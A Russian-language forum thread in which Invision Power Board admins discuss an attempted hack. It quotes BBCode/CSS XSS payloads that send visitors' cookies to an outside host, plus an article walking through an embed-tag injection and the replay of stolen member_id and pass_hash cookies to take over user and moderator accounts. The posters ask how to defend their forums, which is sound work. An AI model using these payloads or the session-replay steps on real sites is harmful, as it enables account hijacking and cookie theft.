Попытка хака

[BlackStriker]

Это действительно так? В личку пришло сообщение:

ошибки форума в сообщениях: (глюки форума)<br /><br /><br />[email]hh@ii[url=warhammer.kuz.ru`=`][/url].com[/email] ` style=`background:url(java script:document.images[1].src="http://xakep.kz/images/fack.jpg?"+document.cookie);`<br /><br />[HTML][EMAIL][URL=wj`=`][/URL][/EMAIL][/color][color=white]` style=`background:url(java script:document.images   [1].src="http://xakep.kz/images/fack.jpg?"+document.cookie)`[/color]<br /><br />[post=1000[topic=target style=background:url(java script:document.images[1].src="http://xakep.kz/images/fack.jpg?"+document.cookie); ][/topic]][/post]<br /><br />[EMAIL][URL=wj`=`][/URL][/EMAIL]]` style=`background:url(java script:document.images[1].src="http://xakep.kz/images/fack.jpg??"+document.cookie)`<br />

 

Это я просмотрел в БД, а в сообщении вывело:

ошибки форума в сообщениях: (глюки форума)


.com">hh@ii.com ` style=`background:url(java script:document.images[1].src=«http://xakep.kz/images/fack.jpg?»+document.cookie);`

[HTML]">[/color]` style=`background:url(java script:document.images [1].src=«http://xakep.kz/images/fack.jpg?»+document.cookie)`

]

">]` style=`background:url(java script:document.images[1].src=«http://xakep.kz/images/fack.jpg??»+document.cookie)`

[gtasa]

Человек явно новичок и использовал старый способ воровства кукисов. Если у тебя стоят все патчи , то в принцепе тебе бояться нечего. Если конечно нету дыр о которых незнают разработчики.

[BlackStriker]

Ага, это я тоже понял. Сразу же почти сменил пароль, добавил цензируемое слово

xakep.kz

и

+document.cookie

 

И у меня вопрос стоило пароль менять? А патчи последние стоят.

[gtasa]

Ну та фишка вряд ли уже работает, но пароль стоит менять несколько раз в месяц, чтобы жить спокойно и не боясь хака.

[Master]

Он еще ошибку допустил вроде в «хаке».

[security IPB]

парни а как закрыть дыри в форуме 2,1,5 , вот именно с получениям администраторських прав?? вот что я прочитал на одном сайте, да и мой форум уже ето перетерпел, я незнаю как они ето сделали, я никому пароли не давал а они вошли под моим ником и администраторськими правами.

------вот тео я прочитал------

"Для получения куков использовался следующий текст сообщения, который был отослан в форум:

 

http://1.ru e=` ` style=display:none;background:url(java script:document.images[12].src="http://адрес_сниффера.cgi?"+document.cookie) Lol

 

В качестве адреса тега был уазан такой адрес http://1.ru e=`. Атрибут e=` был использован для того, что бы выйти за пределы тега , а саму инжекцю скрипта писать в основном теле сообщения, а не в поле адреса для video. Это было сделано для обхода возможных ограничений на длину адреса или фильтрации необходимых символов в строке адреса. Символ обратного апострофа закрывается уже вне тега , таким образом последующий текст будет расположен внутри тега <embed> после преобразования сообщения в HTML. Далее указывается атрибут style=display:none он необходим для скрытия объекта <embed> в постинге. При использовании этого атрибута, объект видео не будет виден на странице. Далее происходит инжекция javascript через background:url(java script: ... ). В теле скрипта происходит замена src одного из рисунков, расположенных на странице форума. В качестве адреса для этой картинки передается адрес HTTP-сниффера плюс куки текущего документа: document.images[12].src="http://адрес_сниффера.cgi?"+document.cookie. При этом, браузер будет пытаться загрузить новую картинку, передав снифферу IP адрес пользователя, его referer и cookies. Далее нам нужно закрыть угловую скобку тега <embed>, для чего мы используем BB тег : Lol.

 

После отсылки описанного сообщения в форум, его текст преобразуется в следующий HTML код:

 

<div class='postcolor'> <embed width="400" height="300" src=http://1.ru e=` type="application/x-shockwave-video">` style=display:none;background:url(java script:document.images[12].src="http://адрес_сниффера.cgi?="+document.cookie) <i>L</i>ol </div>

 

Как видим, двойные кавычки вокруг адреса сниффера преобразовались в " но это не мешает работе скрипта, поскольку в атрибутах тегов раскодировка (т.е. преобразование из " в ") происходит до запуска скрипта. Таким образом, приведенный выше внедренный скрипт работает, и отсылает на сниффер куки пользователей.

 

Осталось дело за малым - подделать полученные куки в HTTP запросах. Для этого можно воспользоваться любой программой для подделки HTTP запросов (например InetCrack). Далее, нужно отловить HTTP запрос, соотвествующий какой-либо операции. Например HTTP запрос редактирования профиля пользователя выглядит так:

 

GET http://forum.web-hack.ru/index.php?act=UserCP&CODE=00 HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*

Accept-Language: ru

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: forum.web-hack.ru

Proxy-Connection: Keep-Alive

Cookie: member_id=xxxx; pass_hash=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; forum_read=a%3A1%3A%7Bi%3A1%3Bi%3A1085772263%3B%7D; anonlogin=-1

 

где member_id=xxxx; pass_hash=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; - номер пользователя и хеш его пароля. Подставив эти значения, получаем доступ к редактированию профиля соответствующего пользователя.

А вот пример HTTP запроса для модерирования одной из веток форума:

 

GET http://forum.web-hack.ru/index.php?act=modcp&forum= HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*

Accept-Language: ru

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: forum.web-hack.ru

Proxy-Connection: Keep-Alive

Cookie: session_id=97b928bab6cdc691336eb1cf507c2ff1; hotlog=1; MT=1; forum_read=a%3A1%3A%7Bi%3A1%3Bi%3A1085772263%3B%7D; member_id=xxxx; pass_hash=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; anonlogin=-1

 

Подcтавив код модератора и его пароль, получаем доступ к командам управления форумом.

"

-----как ету уязвимость закрыть?-----

[Master]

Исправление уязвимостей форумов